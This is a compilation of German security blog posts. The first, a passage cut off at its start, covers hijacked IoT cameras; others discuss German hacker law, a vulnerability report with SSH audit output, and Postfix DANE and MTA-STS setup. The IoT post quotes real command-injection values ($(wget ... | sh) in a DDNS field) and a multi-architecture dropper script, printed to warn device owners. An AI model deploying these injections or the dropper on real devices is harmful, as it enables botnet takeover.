Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.
### „Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“
Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?
Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das *Gerät selbst*.
IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:
- als Teil eines Botnetzes
- zum Verteilen von Malware
- für DDoS-Angriffe
- zum Minen von Kryptowährungen
- oder als Einstiegspunkt ins dahinterliegende Netzwerk
Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.
Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.
### Warum diese Geräte so leicht kompromittierbar sind
Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.
[[Bild: Screenshot of an compromised asus cctv ip camera iot]](https://www.kernel-error.de/wp-content/uploads/2025/11/compromised-asus-cctv-iot-ip-camera.png)
Ein Klassiker: *nicht korrekt geprüfte Eingabefelder*.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.
Beispiel aus einer realen IoT-Kamera-Firmware:
```
ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'
```
oder
```
$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
```
Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende **kitty** Paket sein:
```
Benutzername: meow
Kennwort: meow
```
Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.
Der eigentliche Befehl ist dann:
```
wget http://1.2.3.4/vivo -O- | sh
```
- wget lädt eine Datei herunter
- -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
- das Pipe-Symbol | übergibt den Inhalt an die Shell sh
- die Shell führt alles aus, was darin steht
Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.
Ein Beispiel für ein solches Script könnte folgendes sein:
```
cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64
```
Und ja: Das existiert genauso in freier Wildbahn.
### Wenn ihr so etwas in eurer Konfiguration findet: Uff.
Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:
- Wurde vielleicht eine manipulierte Firmware eingespielt?
- Wurde der Bootloader verändert?
- Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
- Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?
Oft lautet die bittere Antwort: **Nein**.
Und dann bleibt realistisch nur: Gerät entsorgen.
Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:
- WLAN-Passwörter
- NAS-Zugangsdaten
- SMTP-Accounts
- API-Tokens
- Nutzer- und Admin-Zugänge anderer Systeme
Damit kann ein Angreifer richtig Schaden anrichten.
### Was also tun?
IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:
- IoT immer in ein eigenes, getrenntes Netz.
- Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
- Regelmäßig patchen, prüfen, auditieren.
- Standardpasswörter sofort ändern.
- Alle nicht benötigten Dienste deaktivieren.
Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.
---
---
## 20. BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker
**Veröffentlicht:** 2025-11-07
**Permalink:** https://www.kernel-error.de/2025/11/07/bsi-will-straffreiheit-mehr-rechtssicherheit-fuer-ethische-hacker/
**Description:** BSI-Chefin Plattner fordert Reform von § 202a StGB. Warum Safe-Harbor für Security-Research überfällig ist – Einordnung und Praxisblick.
[Bild: free ethical hackers]
Wir leben in Deutschland ja ein bisschen im „*Anzeige-ist-raus*“-Land. Das merken auch Security-Researcher und ethische Hacker. Solange man Eigentümer:innen/Betreiber:innen nur auf frei und offen erreichbare Probleme hinweist, ist die Welt halbwegs in Ordnung. Sobald man aber beginnt, Schutzmechanismen zu überwinden oder Anwendungen zu übervorteilen, wird’s schnell juristisch dünn. Genau deshalb melde ich in der Regel nur komplett offen erreichbare Dinge – außer es gibt eine security.txt mit klarer Policy oder ein offenes Bug-Bounty mit Safe-Harbor.
[[Bild: Picture of an useless gate.]](https://www.kernel-error.de/wp-content/uploads/2025/11/useless-gate.png)
Ein „Schutzmechanismus“ kann schon eine simple Basic-Auth sein. Kennt ihr dieses Bild vom Gartentor mitten auf dem Weg? Kein Zaun, keine Mauer, nur ein Tor. Auf dem Weg geht’s nicht weiter – aber einen Schritt nach links über die Wiese, und zack, ums Tor herum. Juristisch blöd: Das Umgehen dieses „Törchens“ kann bereits als Überwinden einer Zugangssicherung gewertet werden. Für die Meldenden kann das zum Problem werden, obwohl sie eigentlich helfen wollen.
Die Konsequenz: Selbst krasse Lücken werden oft gar nicht gemeldet, wenn davor ein Gartentörchen steht. Leute mit schlechten Absichten gehen natürlich einfach drumherum und nutzen die Lücke – anonym und schwer nachverfolgbar. Ergebnis: Probleme bleiben länger offen, statt sie sauber zu fixen.
Das sieht auch das BSI so und fordert schon länger mehr Rechtssicherheit für Security-Forschung. Aktuell gibt es wieder Bewegung: [BSI-Präsidentin Claudia Plattner plädiert öffentlich für eine Entkriminalisierung ethischer Hacker](https://www.heise.de/news/Hackerparagraf-BSI-Chefin-fordert-Sicherheitsforscher-Entkriminalisierung-11044176.html) – sinngemäß: „[Wer uns vor Cyberangriffen schützt, darf dafür nicht bestraft werden.](https://gruen-digital.de/2025/11/34522/)“ Die letzte Bundesregierung hatte sogar schon einen Entwurf zur Anpassung des sogenannten Hackerparagrafen in der Pipeline; die neue Regierung prüft das Thema weiter.
**Zur Einordnung, worum es geht:**
*Strafgesetzbuch (StGB) – § 202a Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.*
Das Problem ist weniger § 202a an sich als das fehlende Safe-Harbor für verantwortungsvolles Melden (Coordinated/Responsible Disclosure). Wenn schon Basic-Auth oder ein dünnes „Do-not-enter“-Schild als „Zugangssicherung“ zählt, macht das legitime Forschung riskant – und genau das will das BSI ändern. Schutz für die Guten, klare Grenzen gegen echten Missbrauch.
Den aktuellen Überblick fasst Golem gut zusammen; lesenswert:
[https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html](https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html?utm_source=chatgpt.com)
Meta: Ja, ich bleibe auch künftig bei meiner Linie: Tests nur im eigenen Lab oder mit expliziter Erlaubnis. Alles andere ist nicht nur unklug, sondern schlicht rechtlich riskant.
Ich bleibe bei meinem Tipp für euch: Veröffentlicht eine [security.txt](https://de.wikipedia.org/wiki/Security.txt). Solltet ihr mal einen Hinweis bekommen, erinnert euch bitte daran, dass die Person gerade den größten Aufwand und das größte Risiko eingeht, um euch auf ein Problem aufmerksam zu machen. Es wäre viel einfacher, die Lücke für sich auszunutzen, zu verkaufen oder sonst wie zu missbrauchen, als den Schritt nach vorne zu gehen und euch fair zu informieren.
Natürlich meine ich damit nicht die Leute, die erst einmal 5.000 € „Audit-Gebühr“ sehen wollen oder beim ungefragten Pentesting eure komplette IT aus dem Verkehr schießen. Ich meine die Menschen, die euch auf dem REWE-Parkplatz freundlich darauf hinweisen, dass ihr euer Portemonnaie auf dem Autodach liegen gelassen habt.
**Bedankt euch einfach.** 🙂
---
---
## 21. Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report
**Veröffentlicht:** 2025-02-17
**Permalink:** https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/
**Description:** Ein Sicherheitsforscher meldet eine Schwachstelle? Erfahre, wie du professionell reagierst, Kommunikation führst und Verantwortung übernimmst.
[Bild: Vulnerability Report]
Vor Kurzem habe ich einen [Vulnerability Report](https://www.bsi.bund.de/EN/IT-Sicherheitsvorfall/IT-Schwachstellen/it-schwachstellen.html) erhalten. Ich freue mich natürlich immer über solche Hinweise – sie helfen mir, zu wachsen und mein Setup zu verbessern, bevor jemand eine Schwachstelle tatsächlich ausnutzt.
Der Report lautet wie folgt:
```
Subject: Vulnerability Report: Vulnerable System Detected at openpgpkey.kernel-error.comHello Team,I have identified a security issue in your system related to a vulnerability (CVE-2023-48795) in Terrapin.Vulnerability Details:- CVE Identifier: CVE-2023-48795- Vulnerability Type: javascript- Severity: medium- Host: openpgpkey.kernel-error.com- Affected Port: 22Description: A security vulnerability (CVE-2023-48795) related to Terrapin has been detected in your system. This vulnerability could be exploited to compromise your system's security. Please see the details below for more information.Impact: Impact:1. Potential for Unauthorized Access: Attackers may exploit this vulnerability to gain unauthorized access.2. System Compromise: Vulnerable systems could be compromised, leading to data loss or further attacks.3. Increased Attack Surface: Exposing systems with this vulnerability increases the risk of exploitation.Recommendation: Recommendation:1. Apply patches for CVE-2023-48795: Ensure your systems are updated to address this vulnerability.2. Conduct a Security Review: Regularly review and update your security policies and procedures.3. Monitor for Suspicious Activity: Implement continuous monitoring to detect any potential exploitation attempts.4. Restrict Access: Limit access to systems vulnerable to exploitation.Best Regards,Security Team
```
Ich war mir eigentlich sicher, dass ich Terrapin schon vor langer Zeit überall gepatcht und in den SSH-Konfigurationen berücksichtigt hatte.
Dann kam der Hinweis auf `openpgpkey.kernel-error.com`. Die Domain existiert als CNAME und gehört zur Web Key Directory (WKD), was im Groben dazu dient, öffentliche GPG-Keys möglichst automatisiert abrufen zu können. Wenn mir also jemand eine Mail schreiben möchte, aber meinen öffentlichen Key nicht hat, kann er diesen einfach über WKD beziehen. Ich habe das Ganze als CNAME zu `wkd.keys.openpgp.org` angelegt, weil dieser Keyserver zumindest eine E-Mail-Validierung beim Hochladen öffentlicher Schlüssel durchführt. Ich muss ja nicht jede Infrastruktur selbst betreiben.
Allerdings gehört der betroffene SSH-Server und das gesamte Zielsystem somit gar nicht zu meiner Infrastruktur – ich kann also selbst nichts tun.
**Vulnerability Type: JavaScript**
Das verstehe ich nicht ganz. Vermutlich hat der Finder einfach sein Standard-Template benutzt und nicht angepasst?! Aber zumindest wollte ich prüfen, ob seine Einschätzung zum SSH-Server überhaupt zutrifft:
```
# general
(gen) banner: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
(gen) software: OpenSSH 8.4p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
(gen) compression: enabled (zlib@openssh.com)
# security
(cve) CVE-2021-41617 -- (CVSSv2: 7.0) privilege escalation via supplemental groups
(cve) CVE-2016-20012 -- (CVSSv2: 5.3) enumerate usernames via challenge response
# key exchange algorithms
(kex) curve25519-sha256 -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76
`- [info] default key exchange since OpenSSH 6.4
(kex) curve25519-sha256@libssh.org -- [info] available since OpenSSH 6.4, Dropbear SSH 2013.62
`- [info] default key exchange since OpenSSH 6.4
(kex) ecdh-sha2-nistp256 -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384 -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521 -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 (3072-bit) -- [info] available since OpenSSH 4.4
`- [info] OpenSSH's GEX fallback mechanism was triggered during testing. Very old SSH clients will still be able to create connections using a 2048-bit modulus, though modern clients will use 3072. This can only be disabled by recompiling the code (see https://github.com/openssh/openssh-portable/blob/V_9_4/dh.c#L477).
(kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256 -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
`- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) kex-strict-s-v00@openssh.com -- [info] pseudo-algorithm that denotes the peer supports a stricter key exchange method as a counter-measure to the Terrapin attack (CVE-2023-48795)
# host-key algorithms
(key) rsa-sha2-512 (2048-bit) -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
`- [info] available since OpenSSH 7.2
(key) rsa-sha2-256 (2048-bit) -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
`- [info] available since OpenSSH 7.2
(key) ssh-rsa (2048-bit) -- [fail] using broken SHA-1 hash algorithm
`- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
`- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
`- [info] deprecated in OpenSSH 8.8: https://www.openssh.com/txt/release-8.8
(key) ecdsa-sha2-nistp256 -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
`- [warn] using weak random number generator could reveal the key
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519 -- [info] available since OpenSSH 6.5
# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com -- [info] available since OpenSSH 6.5
`- [info] default cipher since OpenSSH 6.9
(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr -- [info] available since OpenSSH 3.7
(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes128-gcm@openssh.com -- [info] available since OpenSSH 6.2
(enc) aes256-gcm@openssh.com -- [info] available since OpenSSH 6.2
# message authentication code algorithms
(mac) umac-64-etm@openssh.com -- [warn] using small 64-bit tag size
`- [info] available since OpenSSH 6.2
(mac) umac-128-etm@openssh.com -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256-etm@openssh.com -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-512-etm@openssh.com -- [info] available since OpenSSH 6.2
(mac) hmac-sha1-etm@openssh.com -- [fail] using broken SHA-1 hash algorithm
`- [info] available since OpenSSH 6.2
(mac) umac-64@openssh.com -- [warn] using encrypt-and-MAC mode
`- [warn] using small 64-bit tag size
`- [info] available since OpenSSH 4.7
(mac) umac-128@openssh.com -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1 -- [fail] using broken SHA-1 hash algorithm
`- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
# fingerprints
(fin) ssh-ed25519: SHA256:vwCCSg+OuRwAflHQs/+Y22UJ7p2lM57vbukGFt5AAaY
(fin) ssh-rsa: SHA256:o+WUM9bAmH2G5xMAsJfZRsmh8hvMoU4dx9gdmahLM+M
# algorithm recommendations (for OpenSSH 8.4)
(rec) -ecdh-sha2-nistp256 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp384 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp521 -- kex algorithm to remove
(rec) -ecdsa-sha2-nistp256 -- key algorithm to remove
(rec) -hmac-sha1 -- mac algorithm to remove
(rec) -hmac-sha1-etm@openssh.com -- mac algorithm to remove
(rec) -ssh-rsa -- key algorithm to remove
(rec) !rsa-sha2-256 -- key algorithm to change (increase modulus size to 3072 bits or larger)
(rec) !rsa-sha2-512 -- key algorithm to change (increase modulus size to 3072 bits or larger)
(rec) -diffie-hellman-group14-sha256 -- kex algorithm to remove
(rec) -hmac-sha2-256 -- mac algorithm to remove
(rec) -hmac-sha2-512 -- mac algorithm to remove
(rec) -umac-128@openssh.com -- mac algorithm to remove
(rec) -umac-64-etm@openssh.com -- mac algorithm to remove
(rec) -umac-64@openssh.com -- mac algorithm to remove
# additional info
(nfo) For hardening guides on common OSes, please see:
(nfo) Be aware that, while this target properly supports the strict key exchange method (via the kex-strict-?-v00@openssh.com marker) needed to protect against the Terrapin vulnerability (CVE-2023-48795), all peers must also support this feature as well, otherwise the vulnerability will still be present. The following algorithms would allow an unpatched peer to create vulnerable SSH channels with this target: chacha20-poly1305@openssh.com. If any CBC ciphers are in this list, you may remove them while leaving the *-etm@openssh.com MACs in place; these MACs are fine while paired with non-CBC cipher types.
```
Joar, das sieht tatsächlich nicht ganz so optimal aus. Ein Hinweis darauf ist also nicht unberechtigt. Ich habe dem Finder also freundlich und dankbar geantwortet, aber auch darauf hingewiesen, dass das System nicht zu meiner Infrastruktur gehört. Zusätzlich habe ich ihm die relevanten Whois-Informationen zur IPv4 des angegebenen Hosts mitgeschickt.
Seine Antwort hat nicht lange auf sich warten lassen:
```
Thank you for your answer.Let me know if you need anything else from mysideI hope this type of hard efforts deserves something reward
```
Hm… *„hard efforts“*. Ich will das jetzt nicht schlechtreden. Wäre der Hinweis im beruflichen Umfeld angekommen, hätte ich mich vielleicht sogar für eine Kleinigkeit stark gemacht. Aber da es hier nur um meine private Infrastr
[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/ ...]
---
---
## 22. Postfix: Serverzertifikat nicht verifiziert – Fehlerbehebung
**Veröffentlicht:** 2015-02-02
**Permalink:** https://www.kernel-error.de/2015/02/02/postfix-server-certificate-not-verified/
**Description:** Lerne, wie du das Problem 'Serverzertifikat nicht verifiziert' in Postfix behebst. Detaillierte Anleitung zur Lösung von SSL/TLS-Verifizierungsfehlern.
Da bekomme ich doch gerade eine E-Mail zurück mit der Begründung:*
*
```
Reporting-MTA: dns; smtp.kernel-error.de
X-Postfix-Queue-ID: 30E4E7461347
X-Postfix-Sender: rfc822; kernel-error@kernel-error.com
Arrival-Date: Wed, 28 Jan 2015 11:50:00 +0100 (CET)
Final-Recipient: rfc822; mailer@domain.tld
Original-Recipient: rfc822;mailer@domain.tld
Action: failed
Status: 4.7.5
Diagnostic-Code: X-Postfix; Server certificate not verified
```
Dazu passend findet sich im Postfix Logfile folgendes:
```
Feb 2 12:15:21 postfix/smtp[1520]: Trusted TLS connection established to domain.tld[2001:1111:1:1111::1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Feb 2 12:15:21 postfix/smtp[1520]: 30E4E7461347: Server certificate not verified
Feb 2 12:15:22 postfix/smtp[1520]: Trusted TLS connection established to domain.tld[1.2.3.4]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Feb 2 12:15:22 postfix/smtp[1520]: 30E4E7461347: to=, relay=domain.tld[1.2.3.4]:25, delay=433522, delays=433521/0.09/0.63/0, dsn=4.7.5, status=deferred (Server certificate not verified)
```
Na? Schon eine Idee? Erst soll die TLS Verbindung trusted sein und dann doch wieder nicht? Ganz einfach 🙂 Es ist DANE…. Postfix würde ja selbst eine E-Mail zustellen, wenn er das Zertifikat nicht prüfen könnte. Hat der Empfänger aber einen TLSA-Record für sein Mailserver Zertifikat veröffentlicht und Postfix prüft dieses mit negativem Ergebnis, dann kann man wohl davon ausgehen, dass da etwas nicht stimmt. Entweder der Empfänger hat ein Problem mit seiner Konfiguration oder es versucht sich gerade jemand „dazwischen“ zu drängen.
Weiter prüfen konnte ich es mit posttls-finger:
```
$ posttls-finger -t30 -T180 -c -L verbose,summary domain.tld
posttls-finger: initializing the client-side TLS engine
posttls-finger: using DANE RR: _25._tcp.domain.tld IN TLSA 3 0 1 B3:E7:94:4A:CE:14:0D:CE:53:08:C6:D8:A5:D3:8C:EE:DD:94:FC:8A:B4:DD:8E:DD:DD:DD:DD:DD:DD:DD:DD:DD
posttls-finger: setting up TLS connection to domain.tld[2001:1111:1:1111::1]:25
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: TLS cipher list "aNULL:-aNULL:ALL:!EXPORT:!LOW:+RC4:@STRENGTH:!aNULL"
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=0 verify=1 subject=/C=DE/CN=www.domain.tld/emailAddress=hostmaster@domain.tld
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: subject_CN=www.domain.tld, issuer_CN=StartCom Class 1 Primary Intermediate Server CA, fingerprint=65:76:45:E3:50:1A:54:5D:BE:30:8F:DD:DD:DD:DD:DD:DD:DD:DD:DD, pkey_fingerprint=63:53:F8:60:76:8D:01:E8:57:93:EA:3C:DD:DD:DD:DD:DD:DD:DD:DD
posttls-finger: Untrusted TLS connection established to domain.tld[2001:1111:1:1111::1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
```
Passt also wirklich nicht… Gleicher Test auf verschiedenen Systemen, gleiches Ergebnis. Ebenfalls die einschlägigen Webseiten bringen diese Meldung ([https://de.ssl-tools.net/mailservers/](https://de.ssl-tools.net/mailservers/)).
Ich muss zugeben, ist eine Premiere für mich. Also ein wirklich echt fehlgeschlagener DANE Test von Postfix, welcher die Mailzustellung verhindert hat. Natürlich hat postfix nicht nach dem ersten Versuch aufgegben, diese Prüfung führt zu einem temporären Fehler der 4xx Reihe. Postfix versucht es also ein paar Tage. In meinem Fall hat also alles genau so funktioniert, wie ich es mir gewünscht habe. Postfix testet die TLSA-Records, bemerkt einen Fehler, logt diese und probiert es noch einmal. Der Fehler bestand dauerhaft und Postfix gab mir die Mail zurück, mit der Info das etwas mit dem Zertifikat des Empfängers nicht stimmt. Das hat Postfix wirklich gut gemacht *tätschel*
So long…
---
---
## 23. SMTP MTA-STS: Strict Transport Security für deinen Mailserver
**Veröffentlicht:** 2019-03-08
**Permalink:** https://www.kernel-error.de/2019/03/08/smtp-mta-strict-transport-security-mta-sts/
**Description:** SMTP MTA-STS einrichten — Mail Transfer Agent Strict Transport Security für erzwungene TLS-Verschlüsselung konfigurieren.
Haben wir uns schon über [MTA STS / RFC 8461](https://tools.ietf.org/html/rfc8461) unterhalten? Nicht? Dann dann wird es aber Zeit :-)
MTA STS ist ein RFC von Ende 2018. So kann man eine Policy veröffentlichen um anderen Mailservern mitzuteilen, dass man seine E-Mails bitte nur per TLS (also mit Transportverschlüsselung) erhalten möchte und an welchen MX...
Eine ganz nette Idee nur.... Wenn man keine E-Mail ohne Transportverschlüsselung erhalten möchte, dann könnte man ja einfach keine E-Mails ohne Transportverschlüsselung annehmen?!?!? Natürlich sagt man anderen Mailservern zusätzlich noch an welchen sie bitte die Mails zustellen sollen, das es eine Transportverschlüsselung geben muss und alles nur mit einem gültigen Zertifikat ablaufen kann.
Fehlt da nicht noch etwas? Klar reporting... Dazu gibt es im Moment ein RFC: [SMTP TLS Reportingdraft-ietf-uta-smtp-tlsrpt-23](https://tools.ietf.org/html/draft-ietf-uta-smtp-tlsrpt-23)
Ein einfaches Onlinetool zum Testen gibt es ebenfalls: [MTA-STS validator](https://aykevl.nl/apps/mta-sts/)
Was muss man dafür nun tun? Ohne Frage muss der eigene Mailserver sauber TLS sprechen... Dann wirfst man einen TXT RR in die jeweilige DNS Zone:
```generic
$ dig IN TXT _mta-sts.kernel-error.de +short
"v=STSv1;id=20190202111557Z;"
```
Die eigentliche Policy veröffentlich man nun per Webserver jeweils für die Zone unter: mta-sts.domain.tld [https://mta-sts.kernel-error.de/.well-known/mta-sts.txt](https://mta-sts.kernel-error.de/.well-known/mta-sts.txt)
Das Reporting lässt sich ebenfalls schnell per TXT RR in der DNS Zone einrichten:
```generic
$ dig IN TXT _smtp._tls.kernel-error.de +short
"v=TLSRPTv1;rua=mailto:postmaster@kernel-error.de"
```
Beides ist sehr schnell und einfach eingerichtet. Postfix selbst berücksichtigt dieses leider noch nicht. Es gibt natürlich schon eine Implementierung, welche ich persönlich noch nicht ganz glücklich finde. Wer schon mal schauen will: [https://github.com/Snawoot/postfix-mta-sts-resolver](https://github.com/Snawoot/postfix-mta-sts-resolver)
Fragen? Dann einfach mal fragen :-)
---
## 24. Postfix MTA-STS Resolver für FreeBSD mit Logfile einrichten
**Veröffentlicht:** 2019-03-25
**Permalink:** https://www.kernel-error.de/2019/03/25/postfix-mta-sts-resolver-fuer-freebsd-mit-logfile/
**Description:** Postfix MTA-STS Resolver unter FreeBSD einrichten — Python-Daemon für MTA Strict Transport Security Policy-Prüfung installieren und nutzen.
Ich habe heute auch mal den postfix-mta-sts-resolver auf meinem privaten System zugeschaltet. Einfach um es mal zu "probieren".
Tut einfach und wie beschrieben, ist so aber sicher nicht für größeren und produktiven Betrieb gedacht. So wie der resolver kommt schreibt er alle Meldungen leider nur in die Konsole, es gibt keinen File-Logger. Ich ähm will/brauch den aber!
Also habe ich einen Fork erstellt und ihn überredet in eine Datei zu loggen und direkt noch ein sehr rudimentäres rc.d init script beigelegt: [https://github.com/Kernel-Error/postfix-mta-sts-resolver](https://github.com/Kernel-Error/postfix-mta-sts-resolver)
Wer es also ebenfalls mal probieren möchte, viel Spaß.
Der mta-sts-daemon loggt nun per default in /var/log/mta-sts.log. Config über yml ist ebenfalls nun drin genau wie die Konfiguration per Startparameter. Das rc.d script für FreeBSD könnte sicher schöner sein und hätte gerne im default den Benutzer *mta-sts* im System. Wir wollen es ja nicht als Root laufen lassen, hm?
Das einzelne Programm mta-sts-query greift auf den gleichen Logger zu, gibt damit also nichts mehr in der Konsole aus sondern auch im Logfile. Vielleicht passe ich dieses noch an, wenn dann mache ich auch einen pull request. Sonst gehe ich mal davon aus, dass es eh bald im postifx ist *daumen-drück*
---
Update
Habe ich jetzt gemacht. Pullrequest wurde angenommen und das neue Release ist auch schon gemacht. Jetzt also mit Logfile und rc.d script für FreeBSD.
Fragen? Dann fragen :-)
---
## 25. Postfix SSL/TLS sichern mit TLSA, DANE und DNSSEC
**Veröffentlicht:** 2014-01-28
**Permalink:** https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/
**Description:** Erfahre, wie du Postfix mit TLSA, DANE und DNSSEC sicher konfigurierst, um SSL/TLS-Kommunikation zu optimieren. Schritt-für-Schritt-Anleitung zur...
Mein Domains sind nun schon seit langem per DNSSEC gesichert. Schnell habe ich auch TLSA-RECORDS für mein SSL/TLS X.509 Zertifikat des Webservers Apache veröffentlicht, damit die verschlüsselte Verbindung zu meiner Webseite ebenfalls per DANE gesichert ist.
DNSSEC: https://www.kernel-error.de/2010/11/17/mein-kleines-dnssec-howto/
DANE: https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/
